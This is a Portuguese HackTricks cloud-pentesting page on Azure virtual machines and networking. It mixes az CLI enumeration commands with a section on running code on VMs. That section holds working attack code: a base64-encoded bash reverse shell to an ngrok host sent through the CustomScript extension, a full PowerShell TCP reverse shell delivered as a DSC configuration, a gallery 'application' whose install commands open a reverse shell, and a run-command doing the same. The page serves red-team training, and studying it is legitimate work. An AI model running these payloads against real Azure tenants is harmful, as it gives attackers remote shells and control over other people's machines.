Az - Máquinas Virtuais & Rede

Reading time: 26 minutes

tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks

Informações Básicas sobre Rede do Azure

As redes do Azure contêm diferentes entidades e maneiras de configurá-las. Você pode encontrar uma breve descrição, exemplos e comandos de enumeração das diferentes entidades de rede do Azure em:

Az - Azure Network

Informações Básicas sobre VMs

As Máquinas Virtuais (VMs) do Azure são servidores baseados em nuvem flexíveis e sob demanda que permitem executar sistemas operacionais Windows ou Linux. Elas permitem implantar aplicativos e cargas de trabalho sem gerenciar hardware físico. As VMs do Azure podem ser configuradas com várias opções de CPU, memória e armazenamento para atender a necessidades específicas e se integrar a serviços do Azure, como redes virtuais, armazenamento e ferramentas de segurança.

Configurações de Segurança

  • Zonas de Disponibilidade: As zonas de disponibilidade são grupos distintos de datacenters dentro de uma região específica do Azure que são fisicamente separados para minimizar o risco de múltiplas zonas serem afetadas por interrupções ou desastres locais.
  • Tipo de Segurança:
  • Segurança Padrão: Este é o tipo de segurança padrão que não requer nenhuma configuração específica.
  • Lançamento Confiável: Este tipo de segurança melhora a proteção contra boot kits e malware em nível de kernel usando Secure Boot e Virtual Trusted Platform Module (vTPM).
  • VMs Confidenciais: Além de um lançamento confiável, oferece isolamento baseado em hardware entre a VM, hipervisor e gerenciamento do host, melhora a criptografia do disco e mais.
  • Autenticação: Por padrão, uma nova chave SSH é gerada, embora seja possível usar uma chave pública ou usar uma chave anterior e o nome de usuário por padrão é azureuser. Também é possível configurar para usar uma senha.
  • Criptografia de disco da VM: O disco é criptografado em repouso por padrão usando uma chave gerenciada pela plataforma.
  • Também é possível habilitar Criptografia no host, onde os dados serão criptografados no host antes de serem enviados para o serviço de armazenamento, garantindo uma criptografia de ponta a ponta entre o host e o serviço de armazenamento (docs).
  • Grupo de segurança de rede NIC:
  • Nenhum: Basicamente abre todas as portas
  • Básico: Permite abrir facilmente as portas de entrada HTTP (80), HTTPS (443), SSH (22), RDP (3389)
  • Avançado: Seleciona um grupo de segurança
  • Backup: É possível habilitar backup Padrão (uma vez por dia) e Aprimorado (múltiplas vezes por dia)
  • Opções de orquestração de patches: Isso permite aplicar automaticamente patches nas VMs de acordo com a política selecionada, conforme descrito na docs.
  • Alertas: É possível receber automaticamente alertas por e-mail ou aplicativo móvel quando algo acontece na VM. Regras padrão:
  • Porcentagem de CPU é maior que 80%
  • Bytes de Memória Disponível é menor que 1GB
  • Porcentagem de IOPS de Discos de Dados Consumidos é maior que 95%
  • Porcentagem de IOPS do SO Consumidos é maior que 95%
  • Rede Total é maior que 500GB
  • Rede Saída Total é maior que 200GB
  • VmAvailabilityMetric é menor que 1
  • Monitor de Saúde: Por padrão, verifica o protocolo HTTP na porta 80
  • Bloqueios: Permite bloquear uma VM para que ela possa ser apenas lida (Bloqueio Somente Leitura) ou que possa ser lida e atualizada, mas não excluída (Bloqueio Não Pode Excluir).
  • A maioria dos recursos relacionados a VM também suporta bloqueios como discos, instantâneas...
  • Bloqueios também podem ser aplicados em níveis de grupo de recursos e assinatura

Discos & instantâneas

  • É possível habilitar a anexação de um disco a 2 ou mais VMs
  • Por padrão, cada disco é criptografado com uma chave da plataforma.
  • O mesmo se aplica a instantâneas
  • Por padrão, é possível compartilhar o disco de todas as redes, mas também pode ser restrito a apenas certos acessos privados ou desativar completamente o acesso público e privado.
  • O mesmo se aplica a instantâneas
  • É possível gerar um URI SAS (de no máximo 60 dias) para exportar o disco, que pode ser configurado para exigir autenticação ou não
  • O mesmo se aplica a instantâneas
bash
# List all disks
az disk list --output table

# Get info about a disk
az disk show --name <disk-name> --resource-group <rsc-group>

Imagens, Imagens de Galeria e Pontos de Restauração

Uma imagem de VM é um modelo que contém o sistema operacional, configurações de aplicativo e sistema de arquivos necessários para criar uma nova máquina virtual (VM). A diferença entre uma imagem e um instantâneo de disco é que um instantâneo de disco é uma cópia somente leitura, em um ponto no tempo, de um único disco gerenciado, usado principalmente para backup ou solução de problemas, enquanto uma imagem pode conter múltiplos discos e é projetada para servir como um modelo para criar novas VMs.
As imagens podem ser gerenciadas na seção de Imagens do Azure ou dentro das galerias de computação do Azure, que permitem gerar versões e compartilhar a imagem entre locatários ou até mesmo torná-la pública.

Um ponto de restauração armazena a configuração da VM e instantâneas consistentes de aplicativo em um ponto no tempo de todos os discos gerenciados anexados à VM. Está relacionado à VM e seu propósito é ser capaz de restaurar essa VM para como ela estava naquele ponto específico.

bash
# Shared Image Galleries | Compute Galleries
## List all galleries and get info about one
az sig list --output table
az sig show --gallery-name <name> --resource-group <rsc-group>

## List all community galleries
az sig list-community --output table

## List galleries shaerd with me
az sig list-shared --location <location> --output table

## List all image definitions in a gallery and get info about one
az sig image-definition list --gallery-name <name> --resource-group <rsc-group> --output table
az sig image-definition show --gallery-image-definition <name> --gallery-name <gallery-name> --resource-group <rsc-group>

## List all the versions of an image definition in a gallery
az sig image-version list --gallery-image-name <image-name> --gallery-name <gallery-name> --resource-group <rsc-group --output table

## List all VM applications inside a gallery
az sig gallery-application list --gallery-name <gallery-name> --resource-group <res-group> --output table

# Images
# List all managed images in your subscription
az image list --output table

# Restore points
## List all restore points and get info about 1
az restore-point collection list-all --output table
az restore-point collection show --collection-name <collection-name> --resource-group <rsc-group>

Recuperação de Site do Azure

Do docs: A Recuperação de Site ajuda a garantir a continuidade dos negócios, mantendo aplicativos e cargas de trabalho em funcionamento durante interrupções. A Recuperação de Site replica cargas de trabalho que estão sendo executadas em máquinas físicas e virtuais (VMs) de um site primário para um local secundário. Quando ocorre uma interrupção em seu site primário, você muda para um local secundário e acessa os aplicativos a partir daí. Depois que o local primário estiver funcionando novamente, você pode retornar a ele.

Bastion do Azure

O Bastion do Azure permite acesso seguro e contínuo ao Protocolo de Área de Trabalho Remota (RDP) e Shell Seguro (SSH) às suas máquinas virtuais (VMs) diretamente através do Portal do Azure ou via um jump box. Ao eliminar a necessidade de endereços IP públicos em suas VMs.

O Bastion implanta uma sub-rede chamada AzureBastionSubnet com uma máscara de rede /26 na VNet em que precisa operar. Em seguida, permite conectar-se a VMs internas através do navegador usando RDP e SSH, evitando expor portas das VMs à Internet. Ele também pode funcionar como um host de salto.

Para listar todos os Hosts do Bastion do Azure em sua assinatura e conectar-se às VMs através deles, você pode usar os seguintes comandos:

bash
# List bastions
az network bastion list -o table

# Connect via SSH through bastion
az network bastion ssh \
--name MyBastion \
--resource-group MyResourceGroup \
--target-resource-id /subscriptions/12345678-1234-1234-1234-123456789abc/resourceGroups/MyResourceGroup/providers/Microsoft.Compute/virtualMachines/MyVM \
--auth-type ssh-key \
--username azureuser \
--ssh-key ~/.ssh/id_rsa

# Connect via RDP through bastion
az network bastion rdp \
--name <BASTION_NAME> \
--resource-group <RESOURCE_GROUP> \
--target-resource-id /subscriptions/<SUBSCRIPTION_ID>/resourceGroups/<RESOURCE_GROUP>/providers/Microsoft.Compute/virtualMachines/<VM_NAME> \
--auth-type password \
--username <VM_USERNAME> \
--password <VM_PASSWORD>

Metadados

O Azure Instance Metadata Service (IMDS) fornece informações sobre instâncias de máquinas virtuais em execução para auxiliar na sua gestão e configuração. Ele oferece detalhes como SKU, armazenamento, configurações de rede e informações sobre eventos de manutenção futuros através da API REST disponível no endereço IP não roteável 169.254.169.254, que é acessível apenas de dentro da VM. A comunicação entre a VM e o IMDS permanece dentro do host, garantindo acesso seguro. Ao consultar o IMDS, os clientes HTTP dentro da VM devem contornar proxies da web para garantir a comunicação adequada.

Além disso, para contatar o endpoint de metadados, a solicitação HTTP deve ter o cabeçalho Metadata: true e não deve ter o cabeçalho X-Forwarded-For.

Verifique como enumerá-lo em:

Cloud SSRF - HackTricks

Enumeração de VM

bash
# VMs
## List all VMs and get info about one
az vm list --output table
az vm show --name <came> --resource-group <rsc-group>

## List all available VM images and get info about one
az vm image list --all --output table

# VM Extensions
## List all VM extensions
az vm extension image list --output table

## Get extensions by publisher
az vm extension image list --publisher "Site24x7" --output table

## List extensions in a VM
az vm extension list -g <rsc-group> --vm-name <vm-name>

## List managed identities in a VM
az vm identity show \
--resource-group <rsc-group> \
--name <vm-name>

# Disks
## List all disks and get info about one
az disk list --output table
az disk show --name <disk-name> --resource-group <rsc-group>

# Snapshots
## List all galleries abd get info about one
az sig list --output table
az sig show --gallery-name <name> --resource-group <rsc-group>

## List all snapshots and get info about one
az snapshot list --output table
az snapshot show --name <name> --resource-group <rsc-group>

# Shared Image Galleries | Compute Galleries
## List all galleries and get info about one
az sig list --output table
az sig show --gallery-name <name> --resource-group <rsc-group>

## List all community galleries
az sig list-community --output table

## List galleries shared with me
az sig list-shared --location <location> --output table

## List all image definitions in a gallery and get info about one
az sig image-definition list --gallery-name <name> --resource-group <rsc-group> --output table
az sig image-definition show --gallery-image-definition <name> --gallery-name <gallery-name> --resource-group <rsc-group>

## List all the versions of an image definition in a gallery
az sig image-version list --gallery-image-name <image-name> --gallery-name <gallery-name> --resource-group <rsc-group --output table

## List all VM applications inside a gallery
az sig gallery-application list --gallery-name <gallery-name> --resource-group <res-group> --output table

# Images
# List all managed images in your subscription
az image list --output table

# Restore points
## List all restore points and get info about 1
az restore-point collection list-all --output table
az restore-point collection show --collection-name <collection-name> --resource-group <rsc-group>

# Bastion
## list all bastions
az network bastion list -o table

# Network
## List VNets
az network vnet list --query "[].{name:name, location:location, addressSpace:addressSpace}"

## List subnets of a VNet
az network vnet subnet list --resource-group <ResourceGroupName> --vnet-name <VNetName> --query "[].{name:name, addressPrefix:addressPrefix}" -o table

## List public IPs
az network public-ip list --output table

## Get NSG rules
az network nsg rule list --nsg-name <NSGName> --resource-group <ResourceGroupName> --query "[].{name:name, priority:priority, direction:direction, access:access, protocol:protocol, sourceAddressPrefix:sourceAddressPrefix, destinationAddressPrefix:destinationAddressPrefix, sourcePortRange:sourcePortRange, destinationPortRange:destinationPortRange}" -o table

## Get NICs and subnets using this NSG
az network nsg show --name MyLowCostVM-nsg --resource-group Resource_Group_1 --query "{subnets: subnets, networkInterfaces: networkInterfaces}"

## List all Nics & get info of a single one
az network nic list --output table
az network nic show --name <name> --resource-group <rsc-group>

## List Azure Firewalls
az network firewall list --query "[].{name:name, location:location, subnet:subnet, publicIp:publicIp}" -o table

## Get network rules of a firewall
az network firewall network-rule collection list --firewall-name <FirewallName> --resource-group <ResourceGroupName> --query "[].{name:name, rules:rules}" -o table

## Get application rules of a firewall
az network firewall application-rule collection list --firewall-name <FirewallName> --resource-group <ResourceGroupName> --query "[].{name:name, rules:rules}" -o table

## Get nat rules of a firewall
az network firewall nat-rule collection list --firewall-name <FirewallName> --resource-group <ResourceGroupName> --query "[].{name:name, rules:rules}" -o table

## List Route Tables
az network route-table list --query "[].{name:name, resourceGroup:resourceGroup, location:location}" -o table

## List routes for a table
az network route-table route list --route-table-name <RouteTableName> --resource-group <ResourceGroupName> --query "[].{name:name, addressPrefix:addressPrefix, nextHopType:nextHopType, nextHopIpAddress:nextHopIpAddress}" -o table

# Misc
## List all virtual machine scale sets
az vmss list --output table

## List all availability sets
az vm availability-set list --output table

## List all load balancers
az network lb list --output table

## List all storage accounts
az storage account list --output table

## List all custom script extensions on a specific VM
az vm extension list --vm-name <vm-name> --resource-group <resource-group>

# Show boot diagnostics settings for a specific VM
az vm boot-diagnostics get-boot-log --name <vm-name> --resource-group <resource-group>

## List all tags on virtual machines
az resource list --resource-type "Microsoft.Compute/virtualMachines" --query "[].{Name:name, Tags:tags}" --output table

# List all available run commands for virtual machines
az vm run-command list --output table

Execução de Código em VMs

Extensões de VM

As extensões de VM do Azure são pequenos aplicativos que fornecem configuração pós-implantação e tarefas de automação em máquinas virtuais (VMs) do Azure.

Isso permitiria executar código arbitrário dentro das VMs.

A permissão necessária é Microsoft.Compute/virtualMachines/extensions/write.

É possível listar todas as extensões disponíveis com:

bash
# It takes some mins to run
az vm extension image list --output table

# Get extensions by publisher
az vm extension image list --publisher "Site24x7" --output table

É possível executar extensões personalizadas que executam código personalizado:

  • Execute um shell reverso
bash
# Prepare the rev shell
echo -n 'bash -i  >& /dev/tcp/2.tcp.eu.ngrok.io/13215 0>&1' | base64
YmFzaCAtaSAgPiYgL2Rldi90Y3AvMi50Y3AuZXUubmdyb2suaW8vMTMyMTUgMD4mMQ==

# Execute rev shell
az vm extension set \
--resource-group <rsc-group> \
--vm-name <vm-name> \
--name CustomScript \
--publisher Microsoft.Azure.Extensions \
--version 2.1 \
--settings '{}' \
--protected-settings '{"commandToExecute": "nohup echo YmFzaCAtaSAgPiYgL2Rldi90Y3AvMi50Y3AuZXUubmdyb2suaW8vMTMyMTUgMD4mMQ== | base64 -d | bash &"}'
  • Execute um script localizado na internet
bash
az vm extension set \
--resource-group rsc-group> \
--vm-name <vm-name> \
--name CustomScript \
--publisher Microsoft.Azure.Extensions \
--version 2.1 \
--settings '{"fileUris": ["https://gist.githubusercontent.com/carlospolop/8ce279967be0855cc13aa2601402fed3/raw/72816c3603243cf2839a7c4283e43ef4b6048263/hacktricks_touch.sh"]}' \
--protected-settings '{"commandToExecute": "sh hacktricks_touch.sh"}'

Extensões de VM relevantes

A permissão necessária ainda é Microsoft.Compute/virtualMachines/extensions/write.

Extensão VMAccess

Esta extensão permite modificar a senha (ou criar se não existir) de usuários dentro de VMs Windows.

bash
# Run VMAccess extension to reset the password
$cred=Get-Credential # Username and password to reset (if it doesn't exist it'll be created). "Administrator" username is allowed to change the password
Set-AzVMAccessExtension -ResourceGroupName "<rsc-group>" -VMName "<vm-name>" -Name "myVMAccess" -Credential $cred
DesiredStateConfiguration (DSC)

Esta é uma extensão de VM que pertence à Microsoft e utiliza PowerShell DSC para gerenciar a configuração de VMs Windows no Azure. Portanto, pode ser usada para executar comandos arbitrários em VMs Windows através desta extensão:

bash
# Content of revShell.ps1
Configuration RevShellConfig {
Node localhost {
Script ReverseShell {
GetScript = { @{} }
SetScript = {
$client = New-Object System.Net.Sockets.TCPClient('attacker-ip',attacker-port);
$stream = $client.GetStream();
[byte[]]$bytes = 0..65535|%{0};
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes, 0, $i);
$sendback = (iex $data 2>&1 | Out-String );
$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
$stream.Write($sendbyte, 0, $sendbyte.Length)
}
$client.Close()
}
TestScript = { return $false }
}
}
}
RevShellConfig -OutputPath .\Output

# Upload config to blob
$resourceGroup = 'dscVmDemo'
$storageName = 'demostorage'
Publish-AzVMDscConfiguration `
-ConfigurationPath .\revShell.ps1 `
-ResourceGroupName $resourceGroup `
-StorageAccountName $storageName `
-Force

# Apply DSC to VM and execute rev shell
$vmName = 'myVM'
Set-AzVMDscExtension `
-Version '2.76' `
-ResourceGroupName $resourceGroup `
-VMName $vmName `
-ArchiveStorageAccountName $storageName `
-ArchiveBlobName 'revShell.ps1.zip' `
-AutoUpdate `
-ConfigurationName 'RevShellConfig'
Hybrid Runbook Worker

Esta é uma extensão de VM que permite executar runbooks em VMs a partir de uma conta de automação. Para mais informações, consulte o Automation Accounts service.

Aplicações de VM

Estes são pacotes com todos os dados da aplicação e scripts de instalação e desinstalação que podem ser usados para adicionar e remover facilmente aplicações em VMs.

bash
# List all galleries in resource group
az sig list --resource-group <res-group> --output table

# List all apps in a fallery
az sig gallery-application list --gallery-name <gallery-name> --resource-group <res-group> --output table

Estes são os caminhos onde os aplicativos são baixados dentro do sistema de arquivos:

  • Linux: /var/lib/waagent/Microsoft.CPlat.Core.VMApplicationManagerLinux/<appname>/<app version>
  • Windows: C:\Packages\Plugins\Microsoft.CPlat.Core.VMApplicationManagerWindows\1.0.9\Downloads\<appname>\<app version>

Verifique como instalar novos aplicativos em https://learn.microsoft.com/en-us/azure/virtual-machines/vm-applications-how-to?tabs=cli

caution

É possível compartilhar aplicativos individuais e galerias com outras assinaturas ou locatários. O que é muito interessante porque poderia permitir que um atacante inserisse um backdoor em um aplicativo e fizesse pivot para outras assinaturas e locatários.

Mas não há um "marketplace" para aplicativos de vm como há para extensões.

As permissões necessárias são:

  • Microsoft.Compute/galleries/applications/write
  • Microsoft.Compute/galleries/applications/versions/write
  • Microsoft.Compute/virtualMachines/write
  • Microsoft.Network/networkInterfaces/join/action
  • Microsoft.Compute/disks/write

Exemplo de exploração para executar comandos arbitrários:

bash
# Create gallery (if the isn't any)
az sig create --resource-group myResourceGroup \
--gallery-name myGallery --location "West US 2"

# Create application container
az sig gallery-application create \
--application-name myReverseShellApp \
--gallery-name myGallery \
--resource-group <rsc-group> \
--os-type Linux \
--location "West US 2"

# Create app version with the rev shell
## In Package file link just add any link to a blobl storage file
az sig gallery-application version create \
--version-name 1.0.2 \
--application-name myReverseShellApp \
--gallery-name myGallery \
--location "West US 2" \
--resource-group <rsc-group> \
--package-file-link "https://testing13242erih.blob.core.windows.net/testing-container/asd.txt?sp=r&st=2024-12-04T01:10:42Z&se=2024-12-04T09:10:42Z&spr=https&sv=2022-11-02&sr=b&sig=eMQFqvCj4XLLPdHvnyqgF%2B1xqdzN8m7oVtyOOkMsCEY%3D" \
--install-command "bash -c 'bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/19159 0>&1'" \
--remove-command "bash -c 'bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/19159 0>&1'" \
--update-command "bash -c 'bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/19159 0>&1'"

# Install the app in a VM to execute the rev shell
## Use the ID given in the previous output
az vm application set \
--resource-group <rsc-group> \
--name <vm-name> \
--app-version-ids /subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.Compute/galleries/myGallery/applications/myReverseShellApp/versions/1.0.2 \
--treat-deployment-as-failure true

Dados do usuário

Estes são dados persistentes que podem ser recuperados do endpoint de metadados a qualquer momento. Note que no Azure, os dados do usuário são diferentes dos do AWS e GCP porque se você colocar um script aqui, ele não é executado por padrão.

Dados personalizados

É possível passar alguns dados para a VM que serão armazenados em caminhos esperados:

  • No Windows, os dados personalizados são colocados em %SYSTEMDRIVE%\AzureData\CustomData.bin como um arquivo binário e não são processados.
  • No Linux, eram armazenados em /var/lib/waagent/ovf-env.xml e agora estão armazenados em /var/lib/waagent/CustomData/ovf-env.xml
  • Agente Linux: Ele não processa dados personalizados por padrão, é necessária uma imagem personalizada com os dados habilitados.
  • cloud-init: Por padrão, ele processa dados personalizados e esses dados podem estar em vários formatos. Ele poderia executar um script facilmente enviando apenas o script nos dados personalizados.
  • Eu tentei que tanto o Ubuntu quanto o Debian executassem o script que você colocou aqui.
  • Também não é necessário habilitar dados do usuário para que isso seja executado.
bash
#!/bin/sh
echo "Hello World" > /var/tmp/output.txt

Executar Comando

Este é o mecanismo mais básico que o Azure fornece para executar comandos arbitrários em VMs. A permissão necessária é Microsoft.Compute/virtualMachines/runCommand/action.

bash
# Execute rev shell
az vm run-command invoke \
--resource-group <rsc-group> \
--name <vm-name> \
--command-id RunShellScript \
--scripts @revshell.sh

# revshell.sh file content
echo "bash -c 'bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/19159 0>&1'" > revshell.sh

Escalação de Privilégios

Az - Virtual Machines & Network Privesc

Acesso Não Autenticado

Az - VMs Unauth

Pós Exploração

Az - VMs & Network Post Exploitation

Persistência

Az - VMs Persistence

Referências

tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks